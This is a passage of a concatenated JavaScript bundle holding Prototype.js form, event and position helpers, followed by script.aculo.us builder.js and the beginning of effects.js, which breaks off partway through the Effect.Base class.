    return options.hash ? data : Object.toQueryString(data);
  }
};

Form.Methods = {
  serialize: function(form, options) {
    return Form.serializeElements(Form.getElements(form), options);
  },

  getElements: function(form) {
    var elements = $(form).getElementsByTagName('*'),
        element,
        arr = [ ],
        serializers = Form.Element.Serializers;
    for (var i = 0; element = elements[i]; i++) {
      arr.push(element);
    }
    return arr.inject([], function(elements, child) {
      if (serializers[child.tagName.toLowerCase()])
        elements.push(Element.extend(child));
      return elements;
    })
  },

  getInputs: function(form, typeName, name) {
    form = $(form);
    var inputs = form.getElementsByTagName('input');

    if (!typeName && !name) return $A(inputs).map(Element.extend);

    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
      var input = inputs[i];
      if ((typeName && input.type != typeName) || (name && input.name != name))
        continue;
      matchingInputs.push(Element.extend(input));
    }

    return matchingInputs;
  },

  disable: function(form) {
    form = $(form);
    Form.getElements(form).invoke('disable');
    return form;
  },

  enable: function(form) {
    form = $(form);
    Form.getElements(form).invoke('enable');
    return form;
  },

  findFirstElement: function(form) {
    var elements = $(form).getElements().findAll(function(element) {
      return 'hidden' != element.type && !element.disabled;
    });
    var firstByIndex = elements.findAll(function(element) {
      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
    }).sortBy(function(element) { return element.tabIndex }).first();

    return firstByIndex ? firstByIndex : elements.find(function(element) {
      return /^(?:input|select|textarea)$/i.test(element.tagName);
    });
  },

  focusFirstElement: function(form) {
    form = $(form);
    form.findFirstElement().activate();
    return form;
  },

  request: function(form, options) {
    form = $(form), options = Object.clone(options || { });

    var params = options.parameters, action = form.readAttribute('action') || '';
    if (action.blank()) action = window.location.href;
    options.parameters = form.serialize(true);

    if (params) {
      if (Object.isString(params)) params = params.toQueryParams();
      Object.extend(options.parameters, params);
    }

    if (form.hasAttribute('method') && !options.method)
      options.method = form.method;

    return new Ajax.Request(action, options);
  }
};

/*--------------------------------------------------------------------------*/


Form.Element = {
  focus: function(element) {
    $(element).focus();
    return element;
  },

  select: function(element) {
    $(element).select();
    return element;
  }
};

Form.Element.Methods = {

  serialize: function(element) {
    element = $(element);
    if (!element.disabled && element.name) {
      var value = element.getValue();
      if (value != undefined) {
        var pair = { };
        pair[element.name] = value;
        return Object.toQueryString(pair);
      }
    }
    return '';
  },

  getValue: function(element) {
    element = $(element);
    var method = element.tagName.toLowerCase();
    return Form.Element.Serializers[method](element);
  },

  setValue: function(element, value) {
    element = $(element);
    var method = element.tagName.toLowerCase();
    Form.Element.Serializers[method](element, value);
    return element;
  },

  clear: function(element) {
    $(element).value = '';
    return element;
  },

  present: function(element) {
    return $(element).value != '';
  },

  activate: function(element) {
    element = $(element);
    try {
      element.focus();
      if (element.select && (element.tagName.toLowerCase() != 'input' ||
          !(/^(?:button|reset|submit)$/i.test(element.type))))
        element.select();
    } catch (e) { }
    return element;
  },

  disable: function(element) {
    element = $(element);
    element.disabled = true;
    return element;
  },

  enable: function(element) {
    element = $(element);
    element.disabled = false;
    return element;
  }
};

/*--------------------------------------------------------------------------*/

var Field = Form.Element;

var $F = Form.Element.Methods.getValue;

/*--------------------------------------------------------------------------*/

Form.Element.Serializers = {
  input: function(element, value) {
    switch (element.type.toLowerCase()) {
      case 'checkbox':
      case 'radio':
        return Form.Element.Serializers.inputSelector(element, value);
      default:
        return Form.Element.Serializers.textarea(element, value);
    }
  },

  inputSelector: function(element, value) {
    if (Object.isUndefined(value)) return element.checked ? element.value : null;
    else element.checked = !!value;
  },

  textarea: function(element, value) {
    if (Object.isUndefined(value)) return element.value;
    else element.value = value;
  },

  select: function(element, value) {
    if (Object.isUndefined(value))
      return this[element.type == 'select-one' ?
        'selectOne' : 'selectMany'](element);
    else {
      var opt, currentValue, single = !Object.isArray(value);
      for (var i = 0, length = element.length; i < length; i++) {
        opt = element.options[i];
        currentValue = this.optionValue(opt);
        if (single) {
          if (currentValue == value) {
            opt.selected = true;
            return;
          }
        }
        else opt.selected = value.include(currentValue);
      }
    }
  },

  selectOne: function(element) {
    var index = element.selectedIndex;
    return index >= 0 ? this.optionValue(element.options[index]) : null;
  },

  selectMany: function(element) {
    var values, length = element.length;
    if (!length) return null;

    for (var i = 0, values = []; i < length; i++) {
      var opt = element.options[i];
      if (opt.selected) values.push(this.optionValue(opt));
    }
    return values;
  },

  optionValue: function(opt) {
    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
  }
};

/*--------------------------------------------------------------------------*/


Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
  initialize: function($super, element, frequency, callback) {
    $super(callback, frequency);
    this.element   = $(element);
    this.lastValue = this.getValue();
  },

  execute: function() {
    var value = this.getValue();
    if (Object.isString(this.lastValue) && Object.isString(value) ?
        this.lastValue != value : String(this.lastValue) != String(value)) {
      this.callback(this.element, value);
      this.lastValue = value;
    }
  }
});

Form.Element.Observer = Class.create(Abstract.TimedObserver, {
  getValue: function() {
    return Form.Element.getValue(this.element);
  }
});

Form.Observer = Class.create(Abstract.TimedObserver, {
  getValue: function() {
    return Form.serialize(this.element);
  }
});

/*--------------------------------------------------------------------------*/

Abstract.EventObserver = Class.create({
  initialize: function(element, callback) {
    this.element  = $(element);
    this.callback = callback;

    this.lastValue = this.getValue();
    if (this.element.tagName.toLowerCase() == 'form')
      this.registerFormCallbacks();
    else
      this.registerCallback(this.element);
  },

  onElementEvent: function() {
    var value = this.getValue();
    if (this.lastValue != value) {
      this.callback(this.element, value);
      this.lastValue = value;
    }
  },

  registerFormCallbacks: function() {
    Form.getElements(this.element).each(this.registerCallback, this);
  },

  registerCallback: function(element) {
    if (element.type) {
      switch (element.type.toLowerCase()) {
        case 'checkbox':
        case 'radio':
          Event.observe(element, 'click', this.onElementEvent.bind(this));
          break;
        default:
          Event.observe(element, 'change', this.onElementEvent.bind(this));
          break;
      }
    }
  }
});

Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
  getValue: function() {
    return Form.Element.getValue(this.element);
  }
});

Form.EventObserver = Class.create(Abstract.EventObserver, {
  getValue: function() {
    return Form.serialize(this.element);
  }
});
(function() {

  var Event = {
    KEY_BACKSPACE: 8,
    KEY_TAB:       9,
    KEY_RETURN:   13,
    KEY_ESC:      27,
    KEY_LEFT:     37,
    KEY_UP:       38,
    KEY_RIGHT:    39,
    KEY_DOWN:     40,
    KEY_DELETE:   46,
    KEY_HOME:     36,
    KEY_END:      35,
    KEY_PAGEUP:   33,
    KEY_PAGEDOWN: 34,
    KEY_INSERT:   45,

    cache: {}
  };

  var docEl = document.documentElement;
  var MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED = 'onmouseenter' in docEl
    && 'onmouseleave' in docEl;

  var _isButton;
  if (Prototype.Browser.IE) {
    var buttonMap = { 0: 1, 1: 4, 2: 2 };
    _isButton = function(event, code) {
      return event.button === buttonMap[code];
    };
  } else if (Prototype.Browser.WebKit) {
    _isButton = function(event, code) {
      switch (code) {
        case 0: return event.which == 1 && !event.metaKey;
        case 1: return event.which == 1 && event.metaKey;
        default: return false;
      }
    };
  } else {
    _isButton = function(event, code) {
      return event.which ? (event.which === code + 1) : (event.button === code);
    };
  }

  function isLeftClick(event)   { return _isButton(event, 0) }

  function isMiddleClick(event) { return _isButton(event, 1) }

  function isRightClick(event)  { return _isButton(event, 2) }

  function element(event) {
    event = Event.extend(event);

    var node = event.target, type = event.type,
     currentTarget = event.currentTarget;

    if (currentTarget && currentTarget.tagName) {
      if (type === 'load' || type === 'error' ||
        (type === 'click' && currentTarget.tagName.toLowerCase() === 'input'
          && currentTarget.type === 'radio'))
            node = currentTarget;
    }

    if (node.nodeType == Node.TEXT_NODE)
      node = node.parentNode;

    return Element.extend(node);
  }

  function findElement(event, expression) {
    var element = Event.element(event);
    if (!expression) return element;
    var elements = [element].concat(element.ancestors());
    return Selector.findElement(elements, expression, 0);
  }

  function pointer(event) {
    return { x: pointerX(event), y: pointerY(event) };
  }

  function pointerX(event) {
    var docElement = document.documentElement,
     body = document.body || { scrollLeft: 0 };

    return event.pageX || (event.clientX +
      (docElement.scrollLeft || body.scrollLeft) -
      (docElement.clientLeft || 0));
  }

  function pointerY(event) {
    var docElement = document.documentElement,
     body = document.body || { scrollTop: 0 };

    return  event.pageY || (event.clientY +
       (docElement.scrollTop || body.scrollTop) -
       (docElement.clientTop || 0));
  }


  function stop(event) {
    Event.extend(event);
    event.preventDefault();
    event.stopPropagation();

    event.stopped = true;
  }

  Event.Methods = {
    isLeftClick: isLeftClick,
    isMiddleClick: isMiddleClick,
    isRightClick: isRightClick,

    element: element,
    findElement: findElement,

    pointer: pointer,
    pointerX: pointerX,
    pointerY: pointerY,

    stop: stop
  };


  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
    m[name] = Event.Methods[name].methodize();
    return m;
  });

  if (Prototype.Browser.IE) {
    function _relatedTarget(event) {
      var element;
      switch (event.type) {
        case 'mouseover': element = event.fromElement; break;
        case 'mouseout':  element = event.toElement;   break;
        default: return null;
      }
      return Element.extend(element);
    }

    Object.extend(methods, {
      stopPropagation: function() { this.cancelBubble = true },
      preventDefault:  function() { this.returnValue = false },
      inspect: function() { return '[object Event]' }
    });

    Event.extend = function(event, element) {
      if (!event) return false;
      if (event._extendedByPrototype) return event;

      event._extendedByPrototype = Prototype.emptyFunction;
      var pointer = Event.pointer(event);

      Object.extend(event, {
        target: event.srcElement || element,
        relatedTarget: _relatedTarget(event),
        pageX:  pointer.x,
        pageY:  pointer.y
      });

      return Object.extend(event, methods);
    };
  } else {
    Event.prototype = window.Event.prototype || document.createEvent('HTMLEvents').__proto__;
    Object.extend(Event.prototype, methods);
    Event.extend = Prototype.K;
  }

  function _createResponder(element, eventName, handler) {
    var registry = Element.retrieve(element, 'prototype_event_registry');

    if (Object.isUndefined(registry)) {
      CACHE.push(element);
      registry = Element.retrieve(element, 'prototype_event_registry', $H());
    }

    var respondersForEvent = registry.get(eventName);
    if (Object.isUndefined(respondersForEvent)) {
      respondersForEvent = [];
      registry.set(eventName, respondersForEvent);
    }

    if (respondersForEvent.pluck('handler').include(handler)) return false;

    var responder;
    if (eventName.include(":")) {
      responder = function(event) {
        if (Object.isUndefined(event.eventName))
          return false;

        if (event.eventName !== eventName)
          return false;

        Event.extend(event, element);
        handler.call(element, event);
      };
    } else {
      if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED &&
       (eventName === "mouseenter" || eventName === "mouseleave")) {
        if (eventName === "mouseenter" || eventName === "mouseleave") {
          responder = function(event) {
            Event.extend(event, element);

            var parent = event.relatedTarget;
            while (parent && parent !== element) {
              try { parent = parent.parentNode; }
              catch(e) { parent = element; }
            }

            if (parent === element) return;

            handler.call(element, event);
          };
        }
      } else {
        responder = function(event) {
          Event.extend(event, element);
          handler.call(element, event);
        };
      }
    }

    responder.handler = handler;
    respondersForEvent.push(responder);
    return responder;
  }

  function _destroyCache() {
    for (var i = 0, length = CACHE.length; i < length; i++) {
      Event.stopObserving(CACHE[i]);
      CACHE[i] = null;
    }
  }

  var CACHE = [];

  if (Prototype.Browser.IE)
    window.attachEvent('onunload', _destroyCache);

  if (Prototype.Browser.WebKit)
    window.addEventListener('unload', Prototype.emptyFunction, false);


  var _getDOMEventName = Prototype.K;

  if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED) {
    _getDOMEventName = function(eventName) {
      var translations = { mouseenter: "mouseover", mouseleave: "mouseout" };
      return eventName in translations ? translations[eventName] : eventName;
    };
  }

  function observe(element, eventName, handler) {
    element = $(element);

    var responder = _createResponder(element, eventName, handler);

    if (!responder) return element;

    if (eventName.include(':')) {
      if (element.addEventListener)
        element.addEventListener("dataavailable", responder, false);
      else {
        element.attachEvent("ondataavailable", responder);
        element.attachEvent("onfilterchange", responder);
      }
    } else {
      var actualEventName = _getDOMEventName(eventName);

      if (element.addEventListener)
        element.addEventListener(actualEventName, responder, false);
      else
        element.attachEvent("on" + actualEventName, responder);
    }

    return element;
  }

  function stopObserving(element, eventName, handler) {
    element = $(element);

    var registry = Element.retrieve(element, 'prototype_event_registry');

    if (Object.isUndefined(registry)) return element;

    if (eventName && !handler) {
      var responders = registry.get(eventName);

      if (Object.isUndefined(responders)) return element;

      responders.each( function(r) {
        Element.stopObserving(element, eventName, r.handler);
      });
      return element;
    } else if (!eventName) {
      registry.each( function(pair) {
        var eventName = pair.key, responders = pair.value;

        responders.each( function(r) {
          Element.stopObserving(element, eventName, r.handler);
        });
      });
      return element;
    }

    var responders = registry.get(eventName);

    if (!responders) return;

    var responder = responders.find( function(r) { return r.handler === handler; });
    if (!responder) return element;

    var actualEventName = _getDOMEventName(eventName);

    if (eventName.include(':')) {
      if (element.removeEventListener)
        element.removeEventListener("dataavailable", responder, false);
      else {
        element.detachEvent("ondataavailable", responder);
        element.detachEvent("onfilterchange",  responder);
      }
    } else {
      if (element.removeEventListener)
        element.removeEventListener(actualEventName, responder, false);
      else
        element.detachEvent('on' + actualEventName, responder);
    }

    registry.set(eventName, responders.without(responder));

    return element;
  }

  function fire(element, eventName, memo, bubble) {
    element = $(element);

    if (Object.isUndefined(bubble))
      bubble = true;

    if (element == document && document.createEvent && !element.dispatchEvent)
      element = document.documentElement;

    var event;
    if (document.createEvent) {
      event = document.createEvent('HTMLEvents');
      event.initEvent('dataavailable', true, true);
    } else {
      event = document.createEventObject();
      event.eventType = bubble ? 'ondataavailable' : 'onfilterchange';
    }

    event.eventName = eventName;
    event.memo = memo || { };

    if (document.createEvent)
      element.dispatchEvent(event);
    else
      element.fireEvent(event.eventType, event);

    return Event.extend(event);
  }


  Object.extend(Event, Event.Methods);

  Object.extend(Event, {
    fire:          fire,
    observe:       observe,
    stopObserving: stopObserving
  });

  Element.addMethods({
    fire:          fire,

    observe:       observe,

    stopObserving: stopObserving
  });

  Object.extend(document, {
    fire:          fire.methodize(),

    observe:       observe.methodize(),

    stopObserving: stopObserving.methodize(),

    loaded:        false
  });

  if (window.Event) Object.extend(window.Event, Event);
  else window.Event = Event;
})();

(function() {
  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
     Matthias Miller, Dean Edwards, John Resig, and Diego Perini. */

  var timer;

  function fireContentLoadedEvent() {
    if (document.loaded) return;
    if (timer) window.clearTimeout(timer);
    document.loaded = true;
    document.fire('dom:loaded');
  }

  function checkReadyState() {
    if (document.readyState === 'complete') {
      document.stopObserving('readystatechange', checkReadyState);
      fireContentLoadedEvent();
    }
  }

  function pollDoScroll() {
    try { document.documentElement.doScroll('left'); }
    catch(e) {
      timer = pollDoScroll.defer();
      return;
    }
    fireContentLoadedEvent();
  }

  if (document.addEventListener) {
    document.addEventListener('DOMContentLoaded', fireContentLoadedEvent, false);
  } else {
    document.observe('readystatechange', checkReadyState);
    if (window == top)
      timer = pollDoScroll.defer();
  }

  Event.observe(window, 'load', fireContentLoadedEvent);
})();

Element.addMethods();

/*------------------------------- DEPRECATED -------------------------------*/

Hash.toQueryString = Object.toQueryString;

var Toggle = { display: Element.toggle };

Element.Methods.childOf = Element.Methods.descendantOf;

var Insertion = {
  Before: function(element, content) {
    return Element.insert(element, {before:content});
  },

  Top: function(element, content) {
    return Element.insert(element, {top:content});
  },

  Bottom: function(element, content) {
    return Element.insert(element, {bottom:content});
  },

  After: function(element, content) {
    return Element.insert(element, {after:content});
  }
};

var $continue = new Error('"throw $continue" is deprecated, use "return" instead');

var Position = {
  includeScrollOffsets: false,

  prepare: function() {
    this.deltaX =  window.pageXOffset
                || document.documentElement.scrollLeft
                || document.body.scrollLeft
                || 0;
    this.deltaY =  window.pageYOffset
                || document.documentElement.scrollTop
                || document.body.scrollTop
                || 0;
  },

  within: function(element, x, y) {
    if (this.includeScrollOffsets)
      return this.withinIncludingScrolloffsets(element, x, y);
    this.xcomp = x;
    this.ycomp = y;
    this.offset = Element.cumulativeOffset(element);

    return (y >= this.offset[1] &&
            y <  this.offset[1] + element.offsetHeight &&
            x >= this.offset[0] &&
            x <  this.offset[0] + element.offsetWidth);
  },

  withinIncludingScrolloffsets: function(element, x, y) {
    var offsetcache = Element.cumulativeScrollOffset(element);

    this.xcomp = x + offsetcache[0] - this.deltaX;
    this.ycomp = y + offsetcache[1] - this.deltaY;
    this.offset = Element.cumulativeOffset(element);

    return (this.ycomp >= this.offset[1] &&
            this.ycomp <  this.offset[1] + element.offsetHeight &&
            this.xcomp >= this.offset[0] &&
            this.xcomp <  this.offset[0] + element.offsetWidth);
  },

  overlap: function(mode, element) {
    if (!mode) return 0;
    if (mode == 'vertical')
      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
        element.offsetHeight;
    if (mode == 'horizontal')
      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
        element.offsetWidth;
  },


  cumulativeOffset: Element.Methods.cumulativeOffset,

  positionedOffset: Element.Methods.positionedOffset,

  absolutize: function(element) {
    Position.prepare();
    return Element.absolutize(element);
  },

  relativize: function(element) {
    Position.prepare();
    return Element.relativize(element);
  },

  realOffset: Element.Methods.cumulativeScrollOffset,

  offsetParent: Element.Methods.getOffsetParent,

  page: Element.Methods.viewportOffset,

  clone: function(source, target, options) {
    options = options || { };
    return Element.clonePosition(target, source, options);
  }
};

/*--------------------------------------------------------------------------*/

if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
  function iter(name) {
    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
  }

  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
  function(element, className) {
    className = className.toString().strip();
    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
  } : function(element, className) {
    className = className.toString().strip();
    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
    if (!classNames && !className) return elements;

    var nodes = $(element).getElementsByTagName('*');
    className = ' ' + className + ' ';

    for (var i = 0, child, cn; child = nodes[i]; i++) {
      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
          (classNames && classNames.all(function(name) {
            return !name.toString().blank() && cn.include(' ' + name + ' ');
          }))))
        elements.push(Element.extend(child));
    }
    return elements;
  };

  return function(className, parentElement) {
    return $(parentElement || document.body).getElementsByClassName(className);
  };
}(Element.Methods);

/*--------------------------------------------------------------------------*/

Element.ClassNames = Class.create();
Element.ClassNames.prototype = {
  initialize: function(element) {
    this.element = $(element);
  },

  _each: function(iterator) {
    this.element.className.split(/\s+/).select(function(name) {
      return name.length > 0;
    })._each(iterator);
  },

  set: function(className) {
    this.element.className = className;
  },

  add: function(classNameToAdd) {
    if (this.include(classNameToAdd)) return;
    this.set($A(this).concat(classNameToAdd).join(' '));
  },

  remove: function(classNameToRemove) {
    if (!this.include(classNameToRemove)) return;
    this.set($A(this).without(classNameToRemove).join(' '));
  },

  toString: function() {
    return $A(this).join(' ');
  }
};

Object.extend(Element.ClassNames.prototype, Enumerable);

/*--------------------------------------------------------------------------*/




// script.aculo.us builder.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009

// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

var Builder = {
  NODEMAP: {
    AREA: 'map',
    CAPTION: 'table',
    COL: 'table',
    COLGROUP: 'table',
    LEGEND: 'fieldset',
    OPTGROUP: 'select',
    OPTION: 'select',
    PARAM: 'object',
    TBODY: 'table',
    TD: 'table',
    TFOOT: 'table',
    TH: 'table',
    THEAD: 'table',
    TR: 'table'
  },
  // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken,
  //       due to a Firefox bug
  node: function(elementName) {
    elementName = elementName.toUpperCase();

    // try innerHTML approach
    var parentTag = this.NODEMAP[elementName] || 'div';
    var parentElement = document.createElement(parentTag);
    try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
      parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
    } catch(e) {}
    var element = parentElement.firstChild || null;

    // see if browser added wrapping tags
    if(element && (element.tagName.toUpperCase() != elementName))
      element = element.getElementsByTagName(elementName)[0];

    // fallback to createElement approach
    if(!element) element = document.createElement(elementName);

    // abort if nothing could be created
    if(!element) return;

    // attributes (or text)
    if(arguments[1])
      if(this._isStringOrNumber(arguments[1]) ||
        (arguments[1] instanceof Array) ||
        arguments[1].tagName) {
          this._children(element, arguments[1]);
        } else {
          var attrs = this._attributes(arguments[1]);
          if(attrs.length) {
            try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
              parentElement.innerHTML = "<" +elementName + " " +
                attrs + "></" + elementName + ">";
            } catch(e) {}
            element = parentElement.firstChild || null;
            // workaround firefox 1.0.X bug
            if(!element) {
              element = document.createElement(elementName);
              for(attr in arguments[1])
                element[attr == 'class' ? 'className' : attr] = arguments[1][attr];
            }
            if(element.tagName.toUpperCase() != elementName)
              element = parentElement.getElementsByTagName(elementName)[0];
          }
        }

    // text, or array of children
    if(arguments[2])
      this._children(element, arguments[2]);

     return $(element);
  },
  _text: function(text) {
     return document.createTextNode(text);
  },

  ATTR_MAP: {
    'className': 'class',
    'htmlFor': 'for'
  },

  _attributes: function(attributes) {
    var attrs = [];
    for(attribute in attributes)
      attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) +
          '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'&quot;') + '"');
    return attrs.join(" ");
  },
  _children: function(element, children) {
    if(children.tagName) {
      element.appendChild(children);
      return;
    }
    if(typeof children=='object') { // array can hold nodes and text
      children.flatten().each( function(e) {
        if(typeof e=='object')
          element.appendChild(e);
        else
          if(Builder._isStringOrNumber(e))
            element.appendChild(Builder._text(e));
      });
    } else
      if(Builder._isStringOrNumber(children))
        element.appendChild(Builder._text(children));
  },
  _isStringOrNumber: function(param) {
    return(typeof param=='string' || typeof param=='number');
  },
  build: function(html) {
    var element = this.node('div');
    $(element).update(html.strip());
    return element.down();
  },
  dump: function(scope) {
    if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope

    var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " +
      "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " +
      "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+
      "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+
      "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+
      "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);

    tags.each( function(tag){
      scope[tag] = function() {
        return Builder.node.apply(Builder, [tag].concat($A(arguments)));
      };
    });
  }
};



// script.aculo.us effects.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009

// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// Contributors:
//  Justin Palmer (http://encytemedia.com/)
//  Mark Pilgrim (http://diveintomark.org/)
//  Martin Bialasinki
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

// converts rgb() and #xxx to #xxxxxx format,
// returns self (or first argument) if not convertable
String.prototype.parseColor = function() {
  var color = '#';
  if (this.slice(0,4) == 'rgb(') {
    var cols = this.slice(4,this.length-1).split(',');
    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);
  } else {
    if (this.slice(0,1) == '#') {
      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();
      if (this.length==7) color = this.toLowerCase();
    }
  }
  return (color.length==7 ? color : (arguments[0] || this));
};

/*--------------------------------------------------------------------------*/

Element.collectTextNodes = function(element) {
  return $A($(element).childNodes).collect( function(node) {
    return (node.nodeType==3 ? node.nodeValue :
      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
  }).flatten().join('');
};

Element.collectTextNodesIgnoreClass = function(element, className) {
  return $A($(element).childNodes).collect( function(node) {
    return (node.nodeType==3 ? node.nodeValue :
      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ?
        Element.collectTextNodesIgnoreClass(node, className) : ''));
  }).flatten().join('');
};

Element.setContentZoom = function(element, percent) {
  element = $(element);
  element.setStyle({fontSize: (percent/100) + 'em'});
  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
  return element;
};

Element.getInlineOpacity = function(element){
  return $(element).style.opacity || '';
};

Element.forceRerendering = function(element) {
  try {
    element = $(element);
    var n = document.createTextNode(' ');
    element.appendChild(n);
    element.removeChild(n);
  } catch(e) { }
};

/*--------------------------------------------------------------------------*/

var Effect = {
  _elementDoesNotExistError: {
    name: 'ElementDoesNotExistError',
    message: 'The specified DOM element does not exist, but is required for this effect to operate'
  },
  Transitions: {
    linear: Prototype.K,
    sinoidal: function(pos) {
      return (-Math.cos(pos*Math.PI)/2) + .5;
    },
    reverse: function(pos) {
      return 1-pos;
    },
    flicker: function(pos) {
      var pos = ((-Math.cos(pos*Math.PI)/4) + .75) + Math.random()/4;
      return pos > 1 ? 1 : pos;
    },
    wobble: function(pos) {
      return (-Math.cos(pos*Math.PI*(9*pos))/2) + .5;
    },
    pulse: function(pos, pulses) {
      return (-Math.cos((pos*((pulses||5)-.5)*2)*Math.PI)/2) + .5;
    },
    spring: function(pos) {
      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6));
    },
    none: function(pos) {
      return 0;
    },
    full: function(pos) {
      return 1;
    }
  },
  DefaultOptions: {
    duration:   1.0,   // seconds
    fps:        100,   // 100= assume 66fps max.
    sync:       false, // true for combining
    from:       0.0,
    to:         1.0,
    delay:      0.0,
    queue:      'parallel'
  },
  tagifyText: function(element) {
    var tagifyStyle = 'position:relative';
    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';

    element = $(element);
    $A(element.childNodes).each( function(child) {
      if (child.nodeType==3) {
        child.nodeValue.toArray().each( function(character) {
          element.insertBefore(
            new Element('span', {style: tagifyStyle}).update(
              character == ' ' ? String.fromCharCode(160) : character),
              child);
        });
        Element.remove(child);
      }
    });
  },
  multiple: function(element, effect) {
    var elements;
    if (((typeof element == 'object') ||
        Object.isFunction(element)) &&
       (element.length))
      elements = element;
    else
      elements = $(element).childNodes;

    var options = Object.extend({
      speed: 0.1,
      delay: 0.0
    }, arguments[2] || { });
    var masterDelay = options.delay;

    $A(elements).each( function(element, index) {
      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
    });
  },
  PAIRS: {
    'slide':  ['SlideDown','SlideUp'],
    'blind':  ['BlindDown','BlindUp'],
    'appear': ['Appear','Fade']
  },
  toggle: function(element, effect, options) {
    element = $(element);
    effect  = (effect || 'appear').toLowerCase();
    
    return Effect[ Effect.PAIRS[ effect ][ element.visible() ? 1 : 0 ] ](element, Object.extend({
      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
    }, options || {}));
  }
};

Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;

/* ------------- core effects ------------- */

Effect.ScopedQueue = Class.create(Enumerable, {
  initialize: function() {
    this.effects  = [];
    this.interval = null;
  },
  _each: function(iterator) {
    this.effects._each(iterator);
  },
  add: function(effect) {
    var timestamp = new Date().getTime();

    var position = Object.isString(effect.options.queue) ?
      effect.options.queue : effect.options.queue.position;

    switch(position) {
      case 'front':
        // move unstarted effects after this effect
        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
            e.startOn  += effect.finishOn;
            e.finishOn += effect.finishOn;
          });
        break;
      case 'with-last':
        timestamp = this.effects.pluck('startOn').max() || timestamp;
        break;
      case 'end':
        // start effect after last queued effect has finished
        timestamp = this.effects.pluck('finishOn').max() || timestamp;
        break;
    }

    effect.startOn  += timestamp;
    effect.finishOn += timestamp;

    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
      this.effects.push(effect);

    if (!this.interval)
      this.interval = setInterval(this.loop.bind(this), 15);
  },
  remove: function(effect) {
    this.effects = this.effects.reject(function(e) { return e==effect });
    if (this.effects.length == 0) {
      clearInterval(this.interval);
      this.interval = null;
    }
  },
  loop: function() {
    var timePos = new Date().getTime();
    for(var i=0, len=this.effects.length;i<len;i++)
      this.effects[i] && this.effects[i].loop(timePos);
  }
});

Effect.Queues = {
  instances: $H(),
  get: function(queueName) {
    if (!Object.isString(queueName)) return queueName;

    return this.instances.get(queueName) ||
      this.instances.set(queueName, new Effect.ScopedQueue());
  }
};
Effect.Queue = Effect.Queues.get('global');

Effect.Base = Class.create({
  position: null,
  start: function(options) {
    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
    this.currentFrame = 0;
    this.state        = 'idle';
    this.startOn      = this.options.delay*1000;
    this.finishOn     = this.startOn+(this.options.duration*1000);
    this.fromToDelta  = this.options.to-this.options.from;
    this.totalTime    = this.finishOn-this.startOn;
    this.totalFrames  = this.options.fps*this.options.duration;

    this.render = (function() {
      function dispatch(effect, eventName) {
        if (effect.options[eventName + 'Internal'])
          effect.options[eventName + 'Internal'](effect);
        if (effect.options[eventName])
          effect.options[eventName](effect);
      }

      return function(pos) {
        if (this.state === "idle") {
          this.state = "running";
          dispatch(this, 'beforeSetup');
          if (this.setup) this.setup();
          dispatch(this, 'afterSetup');
        }
        if (this.state === "running") {
          pos = (this.options.transition(pos) * this.fromToDelta) + this.options.from;
          this.position = pos;
          dispatch(this, 'beforeUpdate');
          if (this.update) this.update(pos);
          dispatch(this, 'afterUpdate');
        }
      };
    })();

